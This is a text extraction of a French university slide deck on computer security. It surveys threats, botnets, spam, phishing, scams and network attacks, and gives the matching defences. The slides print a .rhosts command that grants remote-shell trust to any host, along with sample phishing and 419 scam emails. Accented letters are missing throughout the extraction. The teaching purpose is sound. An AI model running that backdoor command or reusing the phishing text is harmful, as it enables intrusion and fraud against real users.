117790093-securite-informatique.pdf

Embed Size (px)

Citation preview

  • 7/25/2019 117790093-securite-informatique.pdf

    1/139

    1

    ScuritInformatique

    Patrick [email protected]

    http://www.ducrot.org/securite.pdf

    28/09/2012 - ENSICAEN - (c) dp 2

    Plan du document

    Gnralits 3

    Les menaces 28

    Vulnrabilits du rseau 63

    Vulnrabilits applicatives 97Scurit des systmes 151

    Les outils d'attaque/dfense 155

    Chiffrement, tunnels et vpn 214

    Firewall 233

    Les honeypots 249

    WiFi et scurit 255

    Conseils et conclusion269

  • 7/25/2019 117790093-securite-informatique.pdf

    2/139

    2

    28/09/2012 - ENSICAEN - (c) dp 3

    Gnralits

    28/09/2012 - ENSICAEN - (c) dp 4

    Qu'est ce qu'un systmed'information ?

    Systme dSystme dinformationinformation :organisation des activits consistant

    acqurir, stocker, transformer, diffuser, exploiter, grer... les informations

    Un des moyens techniquespour faire fonctionner un systme dinformation est dutiliser un

    Systme informatiqueSystme informatique

  • 7/25/2019 117790093-securite-informatique.pdf

    3/139

    3

    28/09/2012 - ENSICAEN - (c) dp 5

    La scurit des systmesinformatiques Les systmes informatiques sont au cur

    des systmes dinformation.

    Ils sont devenus la cible de ceux quiconvoitent linformation.

    Assurer la scurit de linformation impliquedassurer la scurit des systmesinformatiques.

    28/09/2012 - ENSICAEN - (c) dp 6

    La scurit des systmesinformatiques

    Attaques rseauConfidentialit(coute)Intgrit(modificationpaquets)Disponibilit (saturation)

    Accs illicites (intrusion)confidentialitIntgritDisponibilit

    Rayonnementsconfidentialit

    RESEAU

    VirusIntgritDisponibilit

    Erreurs de saisieConfidentialitIntgrit

  • 7/25/2019 117790093-securite-informatique.pdf

    4/139

    4

    28/09/2012 - ENSICAEN - (c) dp 7

    Origine des attaques

    28/09/2012 - ENSICAEN - (c) dp 8

    Objectifs de la scuritinformatique

    Quelques objectifs garantir:

    intgrit confidentialit

    Disponibilit

    Authentification

    Non rpudiation

  • 7/25/2019 117790093-securite-informatique.pdf

    5/139

    5

    28/09/2012 - ENSICAEN - (c) dp 9

    Evolution des risques

    Croissance de l'Internet

    Croissance des attaques

    Failles des technologies

    Failles des configurations

    Failles des politiques de scurit Changement de profil des pirates

    28/09/2012 - ENSICAEN - (c) dp 10

    Qui sont les pirates ?

    Peut tre n'importe qui avec l'volution et la vulgarisation desconnaissances.

    Beaucoup d'outils sont disponibles sur Internet.

    Vocabulaire: script kiddies

    hacktiviste

    hackers white hats grey hats black hats cracker carder phreaker

  • 7/25/2019 117790093-securite-informatique.pdf

    6/139

    6

    28/09/2012 - ENSICAEN - (c) dp 11

    Phnomnes techniques

    Explosion de la technologie des transferts dedonnes (comme par exemple le cloudcomputing )

    Grande complexit des architectures desystmes.

    Ouverture (pas toujours matrise) desrseaux de communication

    28/09/2012 - ENSICAEN - (c) dp 12

    Phnomnes organisationnels

    Besoin de plus en plus d'informations

    Grande diversit dans la nature des

    informations: donnes financires donnes techniques

    donnes mdicales

    Ces donnes constituent les biens del'entreprise et peuvent tre trs convoites.

  • 7/25/2019 117790093-securite-informatique.pdf

    7/139

    7

    28/09/2012 - ENSICAEN - (c) dp 13

    Objectifs des attaques Dsinformer (exemple: lagence Reuters annonce la mort du

    prince Saoud Al-Faycal opr des intestins le 15 aot 2012)

    Empcher l'accs une ressource

    Prendre le contrle d'une ressource

    Rcuprer de l'information prsente sur le systme

    Utiliser le systme compromis pour rebondir

    Constituer un rseau de botnet (ou rseau de machineszombies)

    Les botnets

    La notion de botnet date des premiers rseaux irc (dbut des annes 1990).

    Rseau de machines contrles par un bot herder ou botmaster .

    Un botnet peut tre contrl par

    - Serveurs irc

    - Serveurs web

    - Requtes DNS

    - Messageries instantanes

    - Peer to Peer

    - Skype

    -

    28/09/2012 - ENSICAEN - (c) dp 14

  • 7/25/2019 117790093-securite-informatique.pdf

    8/139

    8

    Les botnets Estimation: une machine sur quatre fait partie dun botnet, soit environ 154 millions de machines (Vinton

    Cerf Davos en janvier 2007).

    Un botnet peut tre utilispour:

    Envoyer du spam

    Vol dinformations sensibles (avec un keylogger par exemple).

    Installer des spywares.

    Paralyser un rseau en dni de services

    Installer un site web malicieux (phishing)

    Truquer les statistiques de sites webs (sondage en lignes authentifis par des adresses IP,rmunrationsur des clics de bannires, )

    Quelquesexemples: Jeanson James Ancheta, condamn en 2006 57 mois de prison ferme et trois ans de libertssurveilles, la tte dun botnet estim 400 000 machines.

    Pirate connu sous le pseudo de 0x80 . Lire larticl e:

    http://www.washingtonpost.com/wp-dyn/content/article/2006/02/14/AR2006021401342.html

    28/09/2012 - ENSICAEN - (c) dp 15

    Botnet irc

    28/09/2012 - ENSICAEN - (c) dp 16

  • 7/25/2019 117790093-securite-informatique.pdf

    9/139

    9

    Botnet p2p

    28/09/2012 - ENSICAEN - (c) dp 17

    28/09/2012 - ENSICAEN - (c) dp 18

    Motivations des attaques

    Vol dinformations

    Cupidit

    Modifications dinformations

    Vengeance/rancune

    Politique/religion

    Dfis intellectuelssource: http://www.zone-h.fr

  • 7/25/2019 117790093-securite-informatique.pdf

    10/139

    10

    28/09/2012 - ENSICAEN - (c) dp 19

    Cible des pirates

    Les tats

    Serveurs militaires

    Banques

    Universits

    Tout le monde

    28/09/2012 - ENSICAEN - (c) dp 20

    La scurit : une ncessit

    Informaticiens

    Stratgie de scurit

    Lgislation

    Contrats

    Utilisateurs Logiciels

    Matriel

    Rseaux

  • 7/25/2019 117790093-securite-informatique.pdf

    11/139

    11

    28/09/2012 - ENSICAEN - (c) dp 21

    Niveaux de scurisation

    Sensibilisation des utilisateurs aux problmes descurit.

    Scurisation des donnes, des applications, dessystmes d'exploitation.

    Scurisation des tlcommunications.

    Scurisation physiques du matriel et des accs.

    28/09/2012 - ENSICAEN - (c) dp 22

    Politique de scurit

    Compromis fonctionnalit - scurit.

    Identifier les risques et leurs consquences.

    Elaborer des rgles et des procdures mettre enuvre pourles risques identifis.

    Surveillance et veille technologique sur les vulnrabilitsdcouvertes.

    Actions entreprendre et personnes contacter en cas dedtection d'un problme.

  • 7/25/2019 117790093-securite-informatique.pdf

    12/139

    12

    28/09/2012 - ENSICAEN - (c) dp 23

    Mise en place d'une politique descurit

    Mise enuvre

    Audit

    Tests d'intrusion

    Dtection d'incidents

    Ractions Restauration

    28/09/2012 - ENSICAEN - (c) dp 24

    Quelques mthodes

    EBIOS (Expressions des Besoins et Identification desObjectifs de Scurit)http://www.ssi.gouv.fr/fr/confiance/ebios.html

    MEHARI (MEthode Harmonise d'Analyse deRisques)http://www.clusif.asso.fr/fr/production/mehari

  • 7/25/2019 117790093-securite-informatique.pdf

    13/139

    13

    La norme ISO 27000

    ISO 2000 Vocabulaire et dfinitions

    ISO 27001 (octobre 2005) spcifie un Systme de Gestion de laScurit des Systmes dInformation (Plan/Do/Check/Act))

    ISO 27002 (remplaant la norme 17799 depuis le 1erjuillet2007) est un code de bonnes pratiques

    Plus dinformations: http://www.iso27001security.com/

    28/09/2012 - ENSICAEN - (c) dp 25

    Planifier

    Mettre enuvre Amliorer

    Vrifier

    La norme ISO 27000

    28/09/2012 - ENSICAEN - (c) dp 26

  • 7/25/2019 117790093-securite-informatique.pdf

    14/139

    14

    Application PSSI

    28/09/2012 - ENSICAEN - (c) dp 27

    28/09/2012 - ENSICAEN - (c) dp 28

    Les menaces

  • 7/25/2019 117790093-securite-informatique.pdf

    15/139

    15

    28/09/2012 - ENSICAEN - (c) dp 29

    Techniques d'attaques

    Social Engineering

    MICE (Money, Ideology, Compromise, Ego)

    Dumpster diving

    Shoulder surfing

    Sniffing

    Scannings etc.

    28/09/2012 - ENSICAEN - (c) dp 30

    Exemple de socialengineering

    Kevin Mitnick 3 livres, 1 film

    (Cybertraque).

    Piratage des rseauxtlphoniques.

    Attaque des machinesde Tsumotu Shimomuraau San DiegoSupercomputing Center.

    5 ans de prison et sousinterdiction dutiliser desordinateurs.

  • 7/25/2019 117790093-securite-informatique.pdf

    16/139

    16

    28/09/2012 - ENSICAEN - (c) dp 31

    Dissimulation d'informations

    L'information peut tre dissimule dans unbut de protection (mot de passe, ) ou dansdes buts moins lgaux.

    Diffrentes mthodes pour s'changer del'information de manire sre: chiffrement (symtrique,asymtrique)

    stganographie

    Tout n'est pas autoris par la loi.

    28/09/2012 - ENSICAEN - (c) dp 32

    Stganographie

    Procd ancien de dissimulation d'informations sensiblesparmi d'autres informations moins importantes.

    Exemple: lettre de George Sand Alfred de Musset:

  • 7/25/2019 117790093-securite-informatique.pdf

    17/139

    17

    28/09/2012 - ENSICAEN - (c) dp 33

    Stganographie

    Fichiers graphiques ou sons assez adaptscomme support.

    Cas particulier du watermarking. Exemples de logiciels:

    Steganos Security Suite http://www.steganography.com

    outguess http://www.outguess.org MP3Stego

    http://www.petitcolas.net/fabien/steganography/mp3stego/

    28/09/2012 - ENSICAEN - (c) dp 34

    Menaces lies aux rseaux

    Menaces actives Panne, mauvaise utilisation, pertes d'informations Contamination (virus, vers, spyware) Spam, phishing

    Chevaux de troie (backdoors) Dnis de services Intrusions Bombes logiques

    Menaces passives coute des lignes Analyse de trafic Source: rapport PandaLabs 2012

  • 7/25/2019 117790093-securite-informatique.pdf

    18/139

    18

    28/09/2012 - ENSICAEN - (c) dp 35

    Virus

    Portion de code inoffensive ou destructrice capable de sereproduire et de se propager.

    Diffrents types de virus: Virus boot Virus dissimul dans les excutables Macro virus

    Diffrentes contaminations possibles:

    change de disquettes Pices jointes au courrier lectronique Excutables rcuprs sur Internet etc.

    28/09/2012 - ENSICAEN - (c) dp 36

    Vers

    Proches des virus mais capables de se propager sur d'autresordinateurs travers le rseau.

    Un moyen courant de propagation: le carnet d'adresses

    d'outlook (ex: "I Love you": dni de service sur les serveursweb).

    Quelques exemples: Code Red (utilisation d'une faille des serveurs IIS et

    dfiguration des sites)

    Blaster (utilisation d'une faille du protocole windows DCMRPC)

  • 7/25/2019 117790093-securite-informatique.pdf

    19/139

    19

    28/09/2012 - ENSICAEN - (c) dp 37

    Propagation du ver Sapphire:http://www.caida.org/research/security/sapphire

    25 janvier 2003, 05:29 0 victime

    25 janvier 2003, 06:00 74 855 victimes

    Propagation du ver WaledacDescription du ver: http://www.f-secure.com/v-descs/email-worm_w32_waledac_a.shtml

    28/09/2012 - ENSICAEN - (c) dp 38

    http://windows7news.com/2010/02/25/operation-b49-waledac-botnet-take-down/

  • 7/25/2019 117790093-securite-informatique.pdf

    20/139

    20

    28/09/2012 - ENSICAEN - (c) dp 39

    Chevaux de troie Trs rpandu (exemples: attaque du ministre de lconomie et

    des finances rendu public en dcembre 2010, attaque contreAREVA rendu public le 29 septembre 2011, infections par desvulnrabilits dInternet Explorer en septembre 2012, )

    Quelques exemples anciens de chevaux de Troie: Back Orifice

    Permet de l administration distance.

    Sockets23 (Socket de Troie)Signalait la prsence des ordinateurs infects sur desserveurs de discussion en direct de type irc.

    28/09/2012 - ENSICAEN - (c) dp 40

    Les spywares

    Dfinition du spyware (http://en.wikipedia.org/wiki/Spyware):

    Un spyware ("espiogiciel") est un logiciel qui collecte des informations d'unemachine et les envoie l'insu de l'utilisateur sans son consentement.

    Concept invent par Microsoft en 1995.

    Un spyware se dcline aujourd'hui en "adware" (logiciel d'affichage depublicit) et en "malware" ("pourriciel", logiciels hostiles)

  • 7/25/2019 117790093-securite-informatique.pdf

    21/139

    21

    28/09/2012 - ENSICAEN - (c) dp 41

    Techniques d'infection desspywares Les logiciels lis (bundles): installation du spyware en mme temps qu'un

    logiciel lgitime (KaZaA: Cydoor, codec DivX, )

    La navigation sur Internet exploitation de failles (essentiellement mais pas uniquement avec Internet

    Explorer) Installation volontaire (par acceptation) d'un logiciel, activeX, plug-in

    La messagerie incitant par SPAM visiter des sites douteux.

    Une exemple particulier: 2 septembre 2008 travers le webmail de la Poste

    http://www.01net.com/editorial/389835/laposte.net-a-diffuse-involontairement-une-publicite-piegee/

    28/09/2012 - ENSICAEN - (c) dp 42

    Dtection de spyware

    Comportement anormal de la machine: Fentres "popup" intempestive. Page d'accueil du navigateur modifie. Apparitions d'icnes sur le bureau. Connexions Internet intempestives. Trafic rseau anormal.

    Dsactivation des outils de scurit locaux. Les outils de scurit locaux:

    DLL modifie (dtectable par un antivirus). Firewall personnel Outils anti rootkits

    Les outils de scurit rseau: Connexions rcurrentes et/ou nocturnes. Tlchargements suspects. Connexions vers des sites rputs pour tre lis au spyware. Connexions vers des sites non rfrencs dans un dns. Connexions vers des sites .ru .cc .tw .cn

  • 7/25/2019 117790093-securite-informatique.pdf

    22/139

    22

    28/09/2012 - ENSICAEN - (c) dp 43

    Les "anti spywares" En 2000, Gibson Research dveloppe le 1er progamme antispyware: OptOut

    (http://grc.com/optout.htm).

    Beaucoup de programmes commerciaux pour liminer les spywares quiproposent tous un dtecteur gratuit; quelques exemples:

    XoftSpy : http://www.paretologic.com/xoftspy/lp/14/ NoAdware: http://www.noadware.net/new3/?hop=comparets Anonymizer's Anti-Spyware

    http://www.zonelabs.com Et bien d'autres

    Quelques solutions domaine public: Ad-Aware Standard Edition http://www.lavasoft.de/ Spybot http://www.spybot.info/fr Logiciels Microsoft http://www.microsoft.com/downloads

    28/09/2012 - ENSICAEN - (c) dp 44

    La protection contre les spywares

    Pas de protection universelle puisqu'en perptuellesvolutions.

    Quelques rgles respecter nanmoins: Sensibiliser les utilisateurs sur les risques lis l'installation

    de logiciels non directement utiles (barres dans lesnavigateurs, codec DivX, )

    Ne pas consulter des sites douteux.

    Inciter les utilisateurs signaler l'infection de leur machinepar un spyware.

    Utiliser des outils de protections spcifiques

  • 7/25/2019 117790093-securite-informatique.pdf

    23/139

    23

    28/09/2012 - ENSICAEN - (c) dp 45

    SPAM Dfinition de la CNIL: Envoi massif et parfois rpt de courriers

    lectroniques non sollicits des personnes avec lesquelleslexpditeur na jamais eu de contact au pralable, et dont il a captladresse lectronique de faon irrgulire.(pourriel en franais).

    SPAM=SpicedPorkAndMeat, popularis par unsketch des MontyPython(http://www.dailymotion.com/swf/x3a5yl)

    Un message va tre dpos dans une liste de serveurs de courrier; lesserveurs abuss vont envoyer une copie chaque destinataire.

    Courrier bas sur une liste dadresses collectes de manire dloyaleet illicite.

    Messages peu coteux lenvoi mais coteux pour le destinataire.

    28/09/2012 - ENSICAEN - (c) dp 46

    Le spam en quelques chiffres 90 % des courriers changs sont des spams

    6500 nouvelles pages webs associes au spam dcouvertes chaque jour (1 page toutes les13 secondes).

    99 % du spam est relay par des machines de particuliers

    1er semestre 2009: relais de spams par pays et par continent:

    Source : Rapport Sophos 2009 sur les menaces de la scurit

  • 7/25/2019 117790093-securite-informatique.pdf

    24/139

    24

    28/09/2012 - ENSICAEN - (c) dp 47

    Protections contre le spamct utilisateurs Ne rien acheter par lintermdiaire de publicit faite par un spam (des tudes

    indiquent que 29% des utilisateurs le font).

    Ne jamais rpondre un spam.

    Ne pas mettre dadresses lectroniques sur les sites webs mais les encoder parun script ou dans une image (exemple: http://www.caspam.org); voir transparentsuivant.

    Etre prudent dans le remplissage de formulaires demandant des adresseslectroniques; on peut parfois utiliser des adresses jetables . Exemple:http://www.jetable.org(adresse valable dune heure un mois, certains sites

    peuvent ne pas accepter ce genre dadresses).

    Protection au niveau du client de messagerie (gestion des "indsirables") .

    Exemple de codage dadresse

    28/09/2012 - ENSICAEN - (c) dp 48

    Laisser un message ici

    Laisser un message//

  • 7/25/2019 117790093-securite-informatique.pdf

    25/139

    25

    Adresse jetable

    28/09/2012 - ENSICAEN - (c) dp 49

    Protection contre le spamsur les serveurs de messageries

    Protection dlicate: la frontire entre un courriel et un pourriel nest pas toujoursfranche et il ne faut pas rejeter des courriers rels.

    Un serveur de courrier doit tre bien configur (en particulier, pas dOpenRelay ).

    Gestion de listes blanches.

    Gestion de listes noires: Manuellement Par utilisation de bases de donnes de relais ouverts (Exemple:

    http://www.spamhaus.org).

    Gestion de listes grises.

    Des outils de filtrage en aval: spam assassin pure message (sophos)

    28/09/2012 - ENSICAEN - (c) dp 50

  • 7/25/2019 117790093-securite-informatique.pdf

    26/139

    26

    28/09/2012 - ENSICAEN - (c) dp 51

    Effet du grey listing (13 mars2006)

    28/09/2012 - ENSICAEN - (c) dp 52

    Phishing

    Contraction de PHreaking et fISHING (Hameonnage).

    Technique d'ingnierie sociale utilise par des arnaqueurs (scammers)

    Technique ancienne mais utilise massivement depuis 2003.

    Par le biais de courrier lectronique, messages instantans, site webs,etc., on tente de duper l'utilisateur en le faisant cliquer sur un lien.

    L'objectif est d'obtenir des adresses de cartes de crdit, des mots depasse, etc.

    Les adresses sont collectes au hasard, mais statistiquement unutilisateur peut avoir l'impression de recevoir un courrier d'un site qui luiest familier (banque, ).

  • 7/25/2019 117790093-securite-informatique.pdf

    27/139

    27

    28/09/2012 - ENSICAEN - (c) dp 53

    Exemples de cible dephishing

    Visa

    eBay

    Citibank

    PayPal

    Banques

    Aujourdhui: tout le monde

    28/09/2012 - ENSICAEN - (c) dp 54

    Exemple phishingDear valued PayPal member:Due to concerns, for the safety and integrity of the paypal

    account we have issued this warning message.

    It has come to our attention that your PayPal account information needs to beupdated as part of our continuing commitment to protect your account and toreduce the instance of fraud on our website. If you could please take 5-10 minutesout of your online experience and update your personal records you will not run intoany future problems with the online service.

    However, failure to update your records will result in account suspension.Please update your records on or beforeOct 04, 2005.

    Once you have updated your account records your paypal accountservice will not be interrupted and will continue as normal.

    To update your PayPal records click on the following link:http://www.paypal.com/cgi-bin/webscr?cmd=_login-run

    Thank You.PayPal UPDATE TEAM

    http://209.133.49.211/icons/cgi-bin/login.html

  • 7/25/2019 117790093-securite-informatique.pdf

    28/139

    28

    28/09/2012 - ENSICAEN - (c) dp 55

    Faux site paypal

    Exemple phishing eBay

    28/09/2012 - ENSICAEN - (c) dp 56

  • 7/25/2019 117790093-securite-informatique.pdf

    29/139

    29

    Faux site eBay

    28/09/2012 - ENSICAEN - (c) dp 57

    Exemple phishing Caisse-Epargne (27 novembre 2009)

    28/09/2012 - ENSICAEN - (c) dp 58

  • 7/25/2019 117790093-securite-informatique.pdf

    30/139

    30

    28/09/2012 - ENSICAEN - (c) dp 59

    Protection contre le phishing Vrifier la pertinence des messages.

    Ne pas cliquer sur un lien (mais taper l'adresse dans lenavigateur).

    Etre prudent avec les formulaires demandant desinformations confidentielles.

    Lors de la saisie d'informations confidentielles, vrifier quel'information est chiffre et le certificat valide.

    Certains sites commerciaux (ebay, paypal, ) rappellent lenom d'utilisateur dans les courriers envoys. Un courrier

    commenant par quelque chose ressemblant "Cherutilisateur d'ebay" peut tre par consquent suspect.

    28/09/2012 - ENSICAEN - (c) dp 60

    Le "scam"

    Pratique frauduleuse d'origine africaine("ruse") pour extorquer des fonds desinternautes.

    Rception d'un courrier lectronique dudescendant d'un riche africain dcd dont ilfaut transfrer les fonds.

    Connue aussi sous le nom de 419 enrfrence l'article du code pnal nigrianrprimant ce type d'arnaque.

  • 7/25/2019 117790093-securite-informatique.pdf

    31/139

    31

    28/09/2012 - ENSICAEN - (c) dp 61

    Exemple de "scam"Objet: ASSISTANCEGEORGES TRAORE ABIDJAN,CTE D'IVOIRE. AFRIQUE DE L'OUEST.Bonjour,Je vous prie de bien vouloir excuser cette intrusion qui peut paratre surprenante premire vue d'autant qu'il

    n'existeaucune relation entre nous. Je voudrais avec votre accord vous prsenter ma situation et vous proposer une

    affaire quipourrait vous intresser. Je me nomme Georges TRAORE, j'ai 22 ans et le seul fils de mon Pre Honorable

    RICHARDANDERSON TRAORE qui tait un homme trs riche, ngociant de Caf/Cacao bas Abidjan la CapitaleEconomique de la Cte d'Ivoire, empoisonn rcemment par ses associs. Aprs la mort de ma mre le 21

    Octobre 2000,mon pre m'as pris spcialement avec lui. Le 24 Dcembre 2003 est survenu le dcs de mon pre dans une

    cliniqueprive (LAMADONE) Abidjan. Avant sa mort, secrtement, il m'a dit qu'il a dpos une somme d'un montant

    de($8,500,000) Huit Millions Cinq Cent Mille Dollars Amricains dans une valise dans une Compagnie de ScuritFinancire en mon nom comme hritier. En outre, il m'a dit que c'est par rapport cette richesse qu'il a t

    empoisonnpar ses associs. Il me recommande aussi de chercher un associ tranger qui pourrait honntement me faire

    bnficierde son assistance pour sauver ma vie et assurer mon existence. - Changement de bnficaire;

    - Servir de gardien ;- - Fournir un compte pour le transfert de fonds ;- - M'aider le rejoindre dans son pays ;- - Investir dans un domaine profitable.D'ailleurs, je vous donnerai 25 % et 5% serviront aux dpenses ventuelles qui seront effectues..

    28/09/2012 - ENSICAEN - (c) dp 62

    Consquences des virus, vers,spywares, spam

    Perte de donnes

    Perte de temps de travail

    Perte dimage de marque Perte de fonctionnalits (systme ou

    email bloqus)

    Perte de confidentialit

  • 7/25/2019 117790093-securite-informatique.pdf

    32/139

    32

    28/09/2012 - ENSICAEN - (c) dp 63

    Vulnrabilits des

    rseaux

    28/09/2012 - ENSICAEN - (c) dp 64

    Vulnrabilit des rseaux

    Les rseaux peuvent tre vulnrables:

    par une mauvaise implmentation despiles udp/ip et tcp/ip.

    par des faiblesses des protocoles

  • 7/25/2019 117790093-securite-informatique.pdf

    33/139

    33

    28/09/2012 - ENSICAEN - (c) dp 65

    Rappel : Entte IP

    32 bits

    Version IHL Type Service Longueur Totale

    Identification Flags Dcalage Fragment

    TTL Protocole Contrle entte

    Adresse Source

    Adresse Destination

    Options Remplissage

    28/09/2012 - ENSICAEN - (c) dp 66

    Rappel: Entte UDP

    Port source Port destination

    Longu eu r UDP Tot al de cont rle U DP

    32 bits

  • 7/25/2019 117790093-securite-informatique.pdf

    34/139

    34

    28/09/2012 - ENSICAEN - (c) dp 67

    Rappel: Entte TCP

    Port source Port destination

    Numro de squence

    Numro d'acquittement

    Long

    entte

    TCP

    U A P R S F

    R C S S Y I

    G K H T N NTaillede la fentre

    Tot al de contrle Point eur d'urgence

    Options (0, 1 ou plusieurs mots de 32 bits

    Donnes (optionnelles)

    32 bits

    28/09/2012 - ENSICAEN - (c) dp 68

    Rappel: tablissement d'uneconnexion TCP

    Connexion en 3 temps (Three WayHandshake).

  • 7/25/2019 117790093-securite-informatique.pdf

    35/139

    35

    28/09/2012 - ENSICAEN - (c) dp 69

    Sniffer

    Outil de base indispensable.

    Permet de visualiser les trames sur unsegment de rseau.

    Ncessite des droits administrateurs.

    Attention au problme juridique

    Utilise des sockets en mode promiscuous socket (AF_INET,SOCK_RAW,IPPROTO_RAW)

    28/09/2012 - ENSICAEN - (c) dp 70

    Sniffer

    Beaucoup de logiciels sniffers existants.

    Liste sur

    http://packetstormsecurity.org/sniffers Le sniffer de base pour unix: tcpdump Disponible sur http://www.tcpdump.org.

    Grammaire trs volue.

    Affiche les enttes de paquets rpondant aucritre spcifi.

  • 7/25/2019 117790093-securite-informatique.pdf

    36/139

    36

    28/09/2012 - ENSICAEN - (c) dp 71

    Sniffer multiplateformes

    wireshark (http://www.wireshark.org)

    Interprtation deplusieurs centaines

    de protocolesapplicatifs

    28/09/2012 - ENSICAEN - (c) dp 72

    sniffer plus "spcialis": Cain &Abel

  • 7/25/2019 117790093-securite-informatique.pdf

    37/139

    37

    28/09/2012 - ENSICAEN - (c) dp 73

    IP Spoofing

    Mthode d'attaque qui parodie l'adresse IP d'unautre ordinateur (usurpation).

    Permet de brouiller les pistes ou d'obtenir unaccs des systmes sur lesquelsl'authentification est fonde sur l'adresse IP

    (rlogin, rsh sur les machines numro desquence TCP prvisible).

    28/09/2012 - ENSICAEN - (c) dp 74

    Usurpation d'identit

    Exemple d'utilisation: attaque d'un remoteshell: echo "+ +" >>/.rhosts

  • 7/25/2019 117790093-securite-informatique.pdf

    38/139

    38

    28/09/2012 - ENSICAEN - (c) dp 75

    Dni de service (DOS)

    Denial Of Service Attaque destine empcher l utilisation d une

    machine ou d un service. Type d'attaque utilise par frustration, par rancune,

    par ncessit, Souvent plus facile de paralyser un rseau que d'en

    obtenir un accs.

    Ce type d attaque peut engendrer des pertes trsimportantes pour une entreprise.

    Attaque relativement simple mettre enuvre(outils faciles a trouver).

    28/09/2012 - ENSICAEN - (c) dp 76

    Diffrents types de DOS

    DOS local (puisement des ressources) Saturation de l'espace disque rpertoires rcursifs

    boucle infinie de fork () DOS par le rseau (consommation de bande passante)

    SYN flood Rassemblage de fragments (Ex: teardrop, ping of the

    death) Flags TCP illgaux DOS distribu (DDOS)

  • 7/25/2019 117790093-securite-informatique.pdf

    39/139

    39

    28/09/2012 - ENSICAEN - (c) dp 77

    DOS par SYN flood Attaque par inondation de SYN avec une

    adresse source usurpe (spoofe) etinaccessible.

    La machine cible doit grer une liste deconnexions dans l tat SYN_RECV .

    Une attaque est visible si la commandenetstat an indique un grand nombre deconnexions dans l'tat SYN_RECV.

    28/09/2012 - ENSICAEN - (c) dp 78

    Parades au SYN Flood

    Allongement de la longueur de la filed'attente.

    Rduction de la dure de temporisationd'tablissement d'une connexion.

    OS modernes sont protgs (SYN Cookie,SYN cache, ).

  • 7/25/2019 117790093-securite-informatique.pdf

    40/139

    40

    Exemples danciennesattaques sur la pile IP Malversations sur la fragmentation IP

    Scinder une demande de connexion sur 2fragments

    Faire chevaucher 2 fragments IP (teardrop)

    Adresses IP source et destinations identiques (land)

    Ping de la mort (Ping Death,

    http://www.insecure.org/sploits/ping-o-death.html) UDP Flood

    28/09/2012 - ENSICAEN - (c) dp 79

    28/09/2012 - ENSICAEN - (c) dp 80

    DDOS

    Distributed Denial Of Service.

    Type d attaque trs en vogue.

    L objectif est d crouler une machine et/ou saturer la bandepassante de la victime.

    Ncessite un grand nombre de machines corrompues.

    Attaque popularise le 14 fvrier 2000 sur quelques sites .comrenomms (ebay, cnn, amazon, microsoft, ). Le coupable,Michael Calce alias Mafiaboy , 15 ans, est arrt au Canadale 15 avril et condamn 8 mois dans un centre de dtentionpour jeunes. Il a caus des pertes estimes 1,7 milliards dedollar.

  • 7/25/2019 117790093-securite-informatique.pdf

    41/139

    41

    28/09/2012 - ENSICAEN - (c) dp 81

    Scnario d un DDOS

    28/09/2012 - ENSICAEN - (c) dp 82

    Quelques exemples de DDOS Tribe Flood Network (TFN) Trinoo TFN2K

    Trinity (utilise les serveurs irc) etc. Parades:

    tre attentif aux ports ouverts

  • 7/25/2019 117790093-securite-informatique.pdf

    42/139

    42

    Utilisation des DDos

    Un botnet de 1000 machines peut saturer la bandepassante dune grande entreprise (1000 * 128Kb/s =128 Mb/s).

    Une entreprise peut acheter les services dun botherders pour attaquer un concurrent.

    Ddos extortion : des pirates peuvent menacer dessites de commerce en ligne (Exemple: la socitCanbet en Angleterre).

    28/09/2012 - ENSICAEN - (c) dp 83

    28/09/2012 - ENSICAEN - (c) dp 84

    Exemples de ddos Serveurs DNS de la compagnie Akamai attaqu le 16 juin 2004 (sites Microsoft, Google,

    Yahoo, fedEx, Xerox, Apple injoignables pendant une courte priode).

    Mastercard, PayPal, EveryDNS, Swiss Bank PostFinances en dcembre 2010 par lesAnonymous

    NBS victime dune attaque DDOS dans la nuit du 10 au 11 octobre 2011 http://www.loichelias.com/nbs-attaque-ddos

  • 7/25/2019 117790093-securite-informatique.pdf

    43/139

    43

    Exemples DDOS Bande passante du rseau informatique du snat les 25 et 26 dcembre 2011

    avant ladoption de la loi rprimant la contestation des gnocides *

    Et tant dautres.

    *Source: rapport No 681 du snat par Jean-Marie Bockel

    28/09/2012 - ENSICAEN - (c) dp 85

    28/09/2012 - ENSICAEN - (c) dp 86

    arp spoofing

    Pollution des caches arp avec de fausses associations adressemac/adresse IP.

    Permet des attaques de type "man in the middle", DOS,transgression des rgles d'un firewall par spoofing.

    arp-reply

    192.168.16.10

    00:50:04:47:5F:5F

    192.168.16.10

  • 7/25/2019 117790093-securite-informatique.pdf

    44/139

    44

    28/09/2012 - ENSICAEN - (c) dp 87

    arp spoofing Exemple d'outil d'arp spoofing:

    arp-sk (linux) Cain & Abel (Windows)

    28/09/2012 - ENSICAEN - (c) dp 88

    Parades contre le arpspoofing

    Utiliser des associations statiques (peusouple)

    Surveiller les changements d'association: arpwatch (unix)http://www.securityfocus.com/data/tools/arpwatch.tar.Z

    WinARP Watch (Windows)http://www.securityfocus.com/data/tools/warpwatch.zip

  • 7/25/2019 117790093-securite-informatique.pdf

    45/139

    45

    28/09/2012 - ENSICAEN - (c) dp 89

    tcp hijacking

    28/09/2012 - ENSICAEN - (c) dp 90

    tcp hijacking

    Numros de squence TCP pendant leschanges: Ut1 Seq x PSH/ACK y (10) Ut2

    Ut1 Seq y PSH/ACK x+10 (20) Ut2

    Ut1 Seq x+10 PSH/ACK y+20 (30) Ut2

    Ut1 Seq y+20 PSH/ACK x+40 (10) Ut2

    Pirate Seq x+40 PSH/ACK y+20 (30) Ut2

    Ut1 Seq y+30 PSH/ACK x+70 (20) Ut2

    Exemple d'outil de tcp hijacking: hunt http://www.spenneberg.org/TCP-Hijacking//

  • 7/25/2019 117790093-securite-informatique.pdf

    46/139

    46

    28/09/2012 - ENSICAEN - (c) dp 91

    Smurf Envoie d'une trame ICMP "echo

    request" sur une adresse de diffusion.

    Exemple: ping 193.49.200.255

    Mthode utilise pour dterminer lesmachines actives sur une plage IPdonne.

    28/09/2012 - ENSICAEN - (c) dp 92

    Attaque en Smurf Objectif: crouler une machine

    3 parties: l'attaquant, l'intermdiaire, la victimeTrame ICMP sur adresse de diffusion du site relai

    Adresse source: IP victime

    Echo Request sur la victime

  • 7/25/2019 117790093-securite-informatique.pdf

    47/139

    47

    28/09/2012 - ENSICAEN - (c) dp 93

    Parades au smurf

    Interdire la rponse aux trames ICMPsur les adresses de diffusion: Au niveau routeur

    Au niveau machine

    28/09/2012 - ENSICAEN - (c) dp 94

    DNS cache poisoning

    Reroutage d'un site sur un site pirate

    cache poisoning

  • 7/25/2019 117790093-securite-informatique.pdf

    48/139

    48

